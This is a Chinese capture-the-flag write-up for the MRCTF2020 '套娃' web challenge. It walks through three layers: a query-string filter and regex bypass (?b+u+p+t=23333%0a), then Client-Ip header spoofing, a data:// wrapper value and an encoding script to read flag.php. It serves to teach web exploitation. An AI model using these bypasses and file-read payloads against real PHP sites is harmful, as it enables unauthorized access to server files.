[MRCTF2020]套娃 1

第一层

查看源码

$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){

    die('Y0u are So cutE!');

}

if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){

    echo "you are going to the next ~";

}

$_SERVER函数的用法

$_SERVER 是一个超全局变量，在 PHP 中用于访问服务器环境中的各种信息。它是一个关联数组，包含了诸如请求头、路径和脚本位置等信息。
以下是 $_SERVER 常用的一些键（key）和它们的含义：

1、$_SERVER['PHP_SELF']：
    当前执行脚本的文件名，相对于网站根目录。
2、$_SERVER['SERVER_NAME']：
    当前运行脚本所在服务器主机的名字。
3、$_SERVER['HTTP_HOST']：
    当前请求的 Host 头部的内容，用于指定服务器的域名。
4、$_SERVER['REQUEST_METHOD']：
    当前请求的 HTTP 方法（例如 GET、POST、HEAD、PUT 等）。
5、$_SERVER['QUERY_STRING']：
    查询字符串（如果有的话），例如 id=10&page=2 中的 id=10&page=2 部分。
6、$_SERVER['REMOTE_ADDR']：
    客户端的 IP 地址。
7、$_SERVER['HTTP_USER_AGENT']：
    发出请求的用户代理的字符串（浏览器等客户端信息）。
8、$_SERVER['REQUEST_URI']：
    URI 的完整请求路径，包括查询字符串。
9、$_SERVER['SCRIPT_FILENAME']：
    当前执行脚本的绝对路径。
10、$_SERVER['SCRIPT_NAME']：
    当前执行脚本的路径。
11、$_SERVER['HTTPS']：
    如果是通过 HTTPS 连接，则为 'on'，否则为空。
12、$_SERVER['SERVER_PORT']：
    服务器端口号（默认为 80）。

代码过滤了如"id=10&page=2"，也就是传入的变量名和参数中的"_“和”%5f"，可以使用’.'或者空格绕过
对于正则表达式"/^23333$/"，开头结尾都被{"}^{"}和"$"固定，不能匹配如"23333a"等内容，可以使用“%0a”（换行符）绕过

payload：?b+u+p+t=23333%0a

第二层

访问：/secrettw.php

查看源代码
将内容复制到控制台执行
需要post传入Merak，随便传一个值，又显示出一段代码

第三层

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>  

ip需要本地访问：
Client-Ip:127.0.0.1

2333文件中的内容需要为：‘todat is a happy day’，可以使用伪协议
?2333=data://text/plain,todat+is+a+happy+day

file的值经过一段脚本处理后，读取文件flie的内容
脚本内容：base64解码——》转化为ascii码+i2——》转换为字符串
我们要做的：将"flag.php"转化为ascii码-i2——》base64加密
脚本

<?php
$a = 'flag.php';
$re = '';
for($i=0;$i<strlen($a);$i++){
    $re .= chr( ord ($a[$i]) - $i*2);
}
$re = base64_encode($re);
echo $re;

?>

值：flag=ZmpdYSZmXGI=

将三个值都传入后得到flag